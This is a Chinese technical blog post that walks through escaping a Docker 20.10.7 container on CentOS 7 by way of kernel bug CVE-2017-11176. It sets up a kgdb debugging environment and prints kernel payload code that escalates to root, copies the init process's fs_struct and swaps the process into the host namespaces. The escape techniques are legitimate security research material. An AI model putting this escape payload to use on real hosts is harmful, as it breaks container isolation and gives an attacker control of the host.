1 前言

Docker是时下使用范围最广的开源容器技术之一,具有高效易用等优点。由于设计的原因,Docker天生就带有强大的安全性,甚至比虚拟机都要更安全,但如此的Docker也会被人攻破,Docker逃逸所造成的影响之大几乎席卷了全球的Docker容器。

下面是网上找的一张docker的架构图。

近些年,Docker逃逸所利用的漏洞大部分都发生在shim和runc上,每一次出现相关漏洞都能引起相当大的关注。

除了Docker本身组件的漏洞可以进行Docker逃逸之外,Linux内核漏洞也可以进行逃逸。因为容器的内核与宿主内核共享,使用Namespace与Cgroups这两项技术,使容器内的资源与宿主机隔离,所以Linux内核产生的漏洞能导致容器逃逸。

本文就来尝试利用一个内核漏洞在最新版的Docker上实现逃逸。

2 内核调试环境搭建

因为是利用Linux内核漏洞进行Docker逃逸,内核调试环境搭建是必不可少的,已经熟悉Linux内核调试的读者可以跳过这节。

本文的测试操作系统环境是:

虚拟机:vmware workstation 16
linux发行版:Centos 7.2.1511 2个CPU 2G内存
linux内核(使用uname -r查看):3.10.0-327.el7.x86_64

2.1 下载安装指定的内核版本对应的符号包

自己去网上找对应的内核符号包下载安装安装命令sudo rpm -i kernel-debuginfo-3.10.0-327.el7.x86_64.rpmsudo rpm -i kernel-debuginfo-common-x86_64-3.10.0-327.el7.x86_64.rpm

2.2 下载指定的内核版本对应的源码包

得自己去网上找对应的内核源码包下载kernel-3.10.0-327.el7.src.rpm

2.3 grub配置

安装好内核和内核符号包之后就可以去/boot/grub2/grub.cfg里复制指定内核的menuentrysudo gedit /boot/grub2/grub.cfg将复制的menuentry粘贴到/etc/grub.d/40_custom文件中sudo gedit /etc/grub.d/40_custom在linux16启动命令这一行后面添加一行指令kgdbwait kgdb8250=io,03f8,ttyS0,115200,4 kgdboc=ttyS0,115200 kgdbcon如下例子:#!/bin/shexec tail -n +3 $0# This file provides an easy way to add custom menu entries.  Simply type the# menu entries you want to add after this comment.  Be careful not to change# the 'exec tail' line above.menuentry '(Debug)' --class centos --class gnu-linux --class gnu --class os --unrestricted $menuentry_id_option  {load_videoset gfxpayload=keepinsmod gzioinsmod part_msdosinsmod xfsset root='hd0,0'if [ x$feature_platform_search_hint = xy ]; thensearch --no-floppy --fs-uuid --set=root e1fba75c-a2c9-4f39-9446-34a78704a68eelsesearch --no-floppy --fs-uuid --set=root e1fba75c-a2c9-4f39-9446-34a78704a68efilinux16 /vmlinuz-3.10.0-327-generic root=UUID=e1fba75c-a2c9-4f39-9446-34a78704a68e ro acpi=off quiet LANG=en_US.UTF-8 kgdbwait kgdb8250=io,03f8,ttyS0,115200,4 kgdboc=ttyS0,115200 kgdbconinitrd16 /boot/initrd.img-3.10.0-327-generic}要想在调试中关闭kaslr可以加上nokaslr,要想在本次调试中关闭smep可以加上nosmep,要想在本次调试中关闭smap可以加上nosmap,要想在本次调试中关闭KPTI可以加上noptikgdbwait kgdb8250=io,03f8,ttyS0,115200,4 kgdboc=ttyS0,115200 kgdbcon nokaslr nosmep nosmap nopti复制粘贴修改保存好后执行sudo grub2-mkconfig -o /boot/grub2/grub.cfg

2.4 虚拟机设置

2.4.1 host & target

将安装好指定内核,指定内核符号包以及指定内核源码包的虚拟机复制一份,一份作为host,一份作为target,之后在target上执行exp,在host上对target进行调试在host上添加串行端口-移除打印机,添加串行端口,管道名//./pipe/com_1,该端是客户端,另一端是虚拟机在target上添加串行端口-移除打印机,添加串行端口,管道名//./pipe/com_1,该端是服务器端,另一端是虚拟机

2.4.2 开始调试

1.先正常启动host
2.再启动target,不过启动的时候需要在grub时选择我们之前在/etc/grub.d/40_custom添加的调试内核,它正常会显示在grub选择中的,选择好后,target会显示等待附加调试界面
3.在host的shell中执行以下gdb命令附加target调试gdb -s /usr/lib/debug/lib/modules/3.10.0-327.el7.x86_64/vmlinux
set architecture i386:x86-64:intel
add-symbol-file /usr/lib/debug/lib/modules/3.10.0-327.el7.x86_64/vmlinux 0xffffffff81000000
set serial baud 115200
target remote /dev/ttyS0 nsproxy;

以上步骤就完成了内核环境搭建,下面开始进入正题,利用内核漏洞进行Docker逃逸。

3 利用内核漏洞进行Docker逃逸

本文使用的内核漏洞为CVE-2017-11176,这个漏洞网上有很多人分析过了,在利用它进行docker逃逸前提是已经将这个漏洞适配到当前的系统中,即能成功提权。本文不关注内核漏洞的利用,默认已经适配成功。

本文的Docker容器逃逸测试环境是:

虚拟机:vmware workstation 16
linux发行版:Centos 7.2.1511 2个CPU 2G内存
linux内核(使用uname -r查看):3.10.0-327.el7.x86_64
Docker(最新版):20.10.7
使用的Linux内核漏洞:CVE-2017-11176

3.1 安装最新版的Docker

1.安装工具
sudo yum install -y yum-utils device-mapper-persistent-data lvm22.设置阿里镜像,访问速度更快一些
sudo yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo3.更新yum缓存
sudo yum makecache fast4.查看可用的社区版
yum list docker-ce --showduplicates | sort -r5.安装指定版本的docker,选择最新版
sudo yum install -y docker-ce-20.10.7-3.el76.关闭防火墙
systemctl disable firewalld
systemctl stop firewalld7.设置docker开机自启动
systemctl start docker
systemctl enable docker8.查看docker版本
$ docker version
Client: Docker Engine - CommunityVersion:           20.10.7API version:       1.41Go version:        go1.13.15Git commit:        f0df350Built:             Wed Jun  2 11:58:10 2021OS/Arch:           linux/amd64Context:           defaultExperimental:      trueServer: Docker Engine - CommunityEngine:Version:          20.10.7API version:      1.41 (minimum version 1.12)Go version:       go1.13.15Git commit:       b0f5bc3Built:            Wed Jun  2 11:56:35 2021OS/Arch:          linux/amd64Experimental:     falsecontainerd:Version:          1.4.6GitCommit:        d71fcd7d8303cbf684402823e425e9dd2e99285drunc:Version:          1.0.0-rc95GitCommit:        b9ee9c6314599f1b4a7f497e1f1f856fe433d3b7docker-init:Version:          0.19.0GitCommit:        de40ad0

3.2 逃逸开始

3.2.1 获得了"root"

先创建并启动一个容器

# docker run --restart=always -it --name=docker_escape centos:latest /bin/bash
Unable to find image 'centos:latest' locally
latest: Pulling from library/centos
7a0437f04f83: Pull complete
Digest: sha256:5528e8b1b1719d34604c87e11dcd1c0a20bedf46e83b5632cdeac91b8c04efc1
Status: Downloaded newer image for centos:latest
[root@f165d7d75c72 /]#

将漏洞利用程序复制到容器中

# docker cp exploit f165d7d75c72:/tmp
在容器内创建一个普通权限的用户test,然后执行漏洞利用程序
[root@f165d7d75c72 /]# adduser test
[root@f165d7d75c72 /]# su test
[test@f165d7d75c72 /]$ cd tmp/
[test@f165d7d75c72 /]$ ./exploit

在执行完漏洞利用程序后,我们获得了root shell

我们确实在容器内从普通权限提升到了root权限,但是这和宿主机里的root权限是一样的么?

我们查看一下进程列表以及尝试打印/home/test目录下的内容

很明显我们没有获得宿主机的root权限,我们依旧被困在了容器内。这是为什么呢?

3.2.2 替换fs_struct结构

目前我们的漏洞利用程序里只是获取了root权限

static void getroot(void)
{commit_creds(prepare_kernel_cred(NULL));
}

这个root权限还只是限制在容器内。

让我们看看Linux kernel 内管理进程的结构task_struct

struct task_struct {/* ... *//** Pointers to the (original) parent process, youngest child, younger sibling,* older sibling, respectively.  (p->father can be replaced with* p->real_parent->pid)*//* Real parent process: */struct task_struct __rcu    *real_parent;/* Recipient of SIGCHLD, wait4() reports: */struct task_struct __rcu    *parent;/* ... *//* Filesystem information: */struct fs_struct        *fs;/* ... */
}

可以看到有一个struct fs_struct *fs结构指针,它的描述为Filesystem information。再看看struct fs_struct的内容

struct fs_struct {int users;spinlock_t lock;seqcount_t seq;int umask;int in_exec;struct path root, pwd;
} __randomize_layout;

这个结构中的struct path root, pwd就是代表当前进程的根目录以及工作目录。

task_struct->fs 存放着进程根目录以及工作目录,而我们能够用 task_struct->real_parent 回溯取得父进程的 task_struct,我们不断往上回溯,直到找到定位到pid=1的进程,也就是当前这个容器在宿主机中的初始进程,把这个初始进程的fs_struct复制到我们的利用程序进程,就可以将我们的漏洞利用进程的根目录设置到宿主机中了!

代码体现如下

static void getroot(void)
{commit_creds(prepare_kernel_cred(NULL));//将当前进程设置为root权限void * userkpid = find_get_pid(userpid);struct task_struct *mytask = pid_task(userkpid,PIDTYPE_PID);//获取当前进程的task_struct结构体//循环编译task_struct链,找到pid=1的进程的task_struct的结构体char *task;char *init;uint32_t pid_tmp = 0;task = (char *)mytask;init = task;while (pid_tmp != 1) {init = *(char **)(init + TASK_REAL_PARENT_OFFSET);pid_tmp = *(uint32_t *)(init + TASK_PID_OFFSET);}//将pid=1的task struct的fs_struct结构复制为当前进程的fs_struct*(uint64_t *)((uint64_t)mytask + TASK_FS_OFFSET) = copy_fs_struct(*(uint64_t *)((uint64_t)init + TASK_FS_OFFSET));
}

用 while循环不断回溯task_struct->real_parent找到Init process,之后调用copy_fs_struct函数把 fs_struct复制到漏洞利用进程,就能进入宿主机的目录了。

在漏洞利用程序中添加完上面的代码,我们再一次执行漏洞利用程序。

显然我们已经跑到宿主机中来了,已经实现了容器逃逸。本文基本到此结束了。

关机下班!但是当我们准备执行shutdown -h now命令时,发现找不到shutdown命令。

从图中可以看到我们也无法kill掉任何进程,也无法执行一些命令。虽然我们已经逃逸成功了,但是出现的这些小问题又是什么原因导致的呢?

shutdown找不到可以理解,shutdown是在/sbin目录下,这里是环境变量没有设置的原因,所以找不到shutdown,可以通过/sbin/shutdown直接执行。

3.2.3 突破namesapce

Linux 容器利用了 Linux 命名空间的基本虚拟化概念。命名空间是 Linux 内核的一个特性,它在操作系统级别对内核资源进行分区。Docker 容器使用 Linux 内核命名空间来限制任何用户(包括 root)直接访问机器的资源。

有没有可能是因为namespace限制的呢?如果是namespace的原因,那有没有办法改变漏洞利用进程的namespace呢?

通过查找资料,找到了一种切换namespace的方案。

命名空间在内核里被抽象成为一个数据结构 struct nsproxy, 其定义如下

struct nsproxy {atomic_t count;struct uts_namespace *uts_ns;struct ipc_namespace *ipc_ns;struct mnt_namespace *mnt_ns;struct pid_namespace *pid_ns_for_children;struct net          *net_ns;struct time_namespace *time_ns;struct time_namespace *time_ns_for_children;struct cgroup_namespace *cgroup_ns;
};

在task_struct结构中,存在一项struct nsproxy *nsproxy指向当前进程所属的namespace。

struct task_struct {....../* namespaces */struct nsproxy *nsproxy;......
}

与上一节替换fs_struct结构相似,我们需要想办法替换这个结构。

系统初始化时,会初始化一个全局的命名空间,init_nsproxy。替换方案就是将漏洞利用进程的nsproxy替换为init_nsproxy。

代码体现如下

static void getroot(void)
{commit_creds(prepare_kernel_cred(NULL));//将当前进程设置为root权限void * userkpid = find_get_pid(userpid);struct task_struct *mytask = pid_task(userkpid,PIDTYPE_PID);//获取当前进程的task_struct结构体//循环编译task_struct链,找到pid=1的进程的task_struct的结构体char *task;char *init;uint32_t pid_tmp = 0;task = (char *)mytask;init = task;while (pid_tmp != 1) {init = *(char **)(init + TASK_REAL_PARENT_OFFSET);pid_tmp = *(uint32_t *)(init + TASK_PID_OFFSET);}//将pid=1的task struct的fs_struct结构复制为当前进程的fs_struct*(uint64_t *)((uint64_t)mytask + TASK_FS_OFFSET) = copy_fs_struct(*(uint64_t *)((uint64_t)init + TASK_FS_OFFSET));//切换当前进程的namespace为pid=1的进程的namespaceunsigned long long g = find_task_by_vpid(1);switch_task_namespaces(( void *)g, (void *)INIT_NSPROXY);long fd_mnt = do_sys_open( AT_FDCWD, "/proc/1/ns/mnt", O_RDONLY, 0);setns( fd_mnt, 0);long fd_pid = do_sys_open( AT_FDCWD, "/proc/1/ns/pid", O_RDONLY, 0);setns( fd_pid, 0);
}

上述替换namespace的代码部分,就是先将容器中pid=1的进程的namespace用switch_task_namespaces函数替换为init_nsproxy,之后漏洞程序进程再执行setns函数加入pid=1的进程的namespace,相当于加入init_nsproxy。

switch_task_namespaces函数代码如下

void switch_task_namespaces(struct task_struct *p, struct nsproxy *new)
{struct nsproxy *ns;might_sleep();task_lock(p);ns = p->nsproxy;p->nsproxy = new;task_unlock(p);if (ns)put_nsproxy(ns);
}

switch_task_namespaces这个函数就是将参数一struct task_struct *p的namespace修改为参数二传进来的namespace。

在漏洞利用程序中添加完上面的代码,我们再一次执行漏洞利用程序。

当梦想照进现实,你满怀期待迎接阳光,现实却给你泼了一滩冰水。

很遗憾,没有成功突破namesapce。:(

是什么原因呢?我修改上述漏洞程序代码

static void getroot(void)
{commit_creds(prepare_kernel_cred(NULL));//将当前进程设置为root权限void * userkpid = find_get_pid(userpid);struct task_struct *mytask = pid_task(userkpid,PIDTYPE_PID);//获取当前进程的task_struct结构体//循环编译task_struct链,找到pid=1的进程的task_struct的结构体char *task;char *init;uint32_t pid_tmp = 0;task = (char *)mytask;init = task;while (pid_tmp != 1) {init = *(char **)(init + TASK_REAL_PARENT_OFFSET);pid_tmp = *(uint32_t *)(init + TASK_PID_OFFSET);}//将pid=1的task struct的fs_struct结构复制为当前进程的fs_struct*(uint64_t *)((uint64_t)mytask + TASK_FS_OFFSET) = copy_fs_struct(*(uint64_t *)((uint64_t)init + TASK_FS_OFFSET));//切换当前进程的namespace为pid=1的进程的namespaceunsigned long long g = find_task_by_vpid(userpid);switch_task_namespaces(( void *)g, (void *)INIT_NSPROXY);
}

直接切换当前进程的namespace。并且在漏洞程序完成利用从内核退出时通过命令ls /proc/$(userpid)/ns -lia打印当前进程的namespace,将结果与宿主机中高权限进程的namespace对比。

可以看到,我们成功替换了namespace。

继续在漏洞程序完成利用从内核退出时通过命令ls /home/test打印目录内容,发现可以看到宿主机的文件,说明我们逃逸成功了

继续在漏洞程序完成利用从内核退出时通过命令kill -9 pid尝试kill掉某个我们事先已知的进程,测试发现我们也可以成功kill掉,说明我们成功突破了namespace。

只是在漏洞程序结尾时调用execve弹root shell时会失败,暂时不能弹出一个方便操作的root shell。

虽然我这边没有成功弹出一个方便的root shell,原因暂时没有分析出来,但这个思路是可行的。查阅资料时有人在ubuntu上测试成功了,估计和我测试时的操作系统有关,需要进一步分析。

3.3 一般步骤

经过上述的一系列尝试,我们可以总结一下利用内核漏洞进行容器逃逸的一般步骤。

1.使用内核漏洞进入内核上下文2.获取当前进程的task struct3.回溯task list 获取pid=1的task struct,复制其fs_struct结构数据为当前进程的fs_struct。fs_struct结构中定义了当前进程的根目录和工作目录。4.切换当前namespace。Docker使用了Linux内核名称空间来限制用户(包括root)直接访问机器资源。5.打开root shell,完成逃逸

4 结语

本文介绍了利用Linux内核漏洞进行Docker容器逃逸,使用的漏洞是CVE-2017-11176,在最新版的docker上逃逸成功了。虽然在突破namespace的限制时遇到了一点小问题,但本次基本实现了利用Linux内核漏洞完成Docker容器逃逸,希望这篇文章给能大家带来一些帮助。

22岁精神小伙居然利用 Linux 内核漏洞实现 Docker 逃逸相关推荐

  1. Linux 内核漏洞可用于逃逸 Kubernetes 容器

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 Linux 内核中存在漏洞 (CVE-2022-0185),可用于逃逸 Kubernetes 中的容器,从而访问位于主机系统上的资源. 安全研究 ...

  2. 获取linux内核基址,Linux内核漏洞利用技术:覆写modprobe_path

    0x00 前言 如果大家阅读过我此前发表的Linux内核漏洞利用的相关文章,可能会知道我们最近一直在学习这块内容.在过去的几周里,我的团队参加了DiceCTF和UnionCTF比赛,其中都包括了Lin ...

  3. Linux内核中段伪例,利用Linux内核里的Use-After-Free(UAF)漏洞提权

    *本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. * 作者:nickchang 上个月爆出的CVE-2016-0728 (http: ...

  4. Linux 内核漏洞暴露栈内存,造成数据泄露

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士 思科 Talos 团队最近在 Linux 内核中发现了一个信息泄露漏洞 (CVE-2020-28588). Linux 内核是类 Unix ...

  5. 三个已存在15年的 Linux 内核漏洞

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 Linux 内核的 iSCSI 子系统中存在三个漏洞,可导致具有普通用户权限的本地攻击者获得未修复 Linux 系统的 root 权限 ...

  6. Pwn2Own 2020 曝出的Linux 内核漏洞已修复

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 周二,ZDI 发布安全公告称, Pwn2Own 2020 黑客大赛上被用于在 Ubuntu Desktop上将权限提升至 root 的 ...

  7. 异域linux内核漏洞,Linux内核再现漏洞!这次11年后才发现

    原标题:Linux内核再现漏洞!这次11年后才发现 还记得上一次Linux内核出现大的漏洞是什么时候吗?2009年Linux内核出现严重安全漏洞,直到2014年才被发现,这个严重安全漏洞整整存在了5年 ...

  8. 103.网络安全渗透测试—[权限提升篇1]—[Linux内核漏洞提权]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.LINUX 内核漏洞提权 1.漏洞背景: 2.漏洞利用: (1)实验环境 (2)靶机链接 (3)突破MIME ...

  9. Linux内核漏洞精准检测如何做?SCA工具不能只在软件层面

    摘要:二进制SCA工具要想更好的辅助安全人员实现安全审计.降低漏洞检测的误报率,必须向更细颗粒度的检测维度发展,而不仅仅停留在开源软件的层面,同时对漏洞库的要求也需要向细颗粒度的精准信息提出的挑战. ...

最新文章

  1. 为多模型寻找模型最优参数、多模型交叉验证、可视化、指标计算、多模型对比可视化(系数图、误差图、混淆矩阵、校正曲线、ROC曲线、AUC、Accuracy、特异度、灵敏度、PPV、NPV)、结果数据保存
  2. 基于SMB协议的共享文件读写 博客分类: Java
  3. 常见Java面试题之静态变量和实例变量的区别
  4. MFC 基础知识:主对话框与子对话框(一)
  5. 如何定制化SAP Spartacus的购物车图标
  6. (三)linux之根文件系统的制作
  7. 关于Unity中OnGUI()的简单使用
  8. SQL 之连接查询
  9. python求圆的面积pta_任意给定一个正实数,设计一个算法求以这个数为半径的圆的面积...
  10. 离散傅里叶变换(DFT)
  11. 【简约美女win7主题】_8.4
  12. Mac m1安装jmeter
  13. c语言英文的读法将时间读出来,c怎么读(英文c正确读音)
  14. 【Excle数据透视表】如何让字段标题不显示“求和项”
  15. 玩转PYthon,用Python绘制全球疫情变化地图(好东西,值得一看~~~)
  16. 只有300万预算,能在深圳买到什么样的二手房?分析20778套二手房
  17. 微信接口php oa,你必须了解OA与微信结合的几种方式
  18. tl494c封装区别_TL494集成电路引脚功能和数据
  19. SQLTracker跟踪工具用法
  20. Android计算器——横屏切换科学计算器

热门文章

  1. python 股票量化盘后分析系统V0.42
  2. miix4linux双系统,miix4怎么装系统
  3. 键盘没坏,快捷键可以用,但不能打字
  4. 什么是zkSNARKs:谜一般的“月亮数学”加密,Part-2
  5. 中国中医医院竞争力排行榜500强:绵竹市中医医院
  6. 让Android的emulator支持web camera
  7. Spring boot、Spring cloud深度技术集锦
  8. 细说联想企业网盘背后的安全那些事儿
  9. HTML脚本文件名,在gruntjs minify/uglify之后更改html中的链接或脚本文件名
  10. css雪碧图及优缺点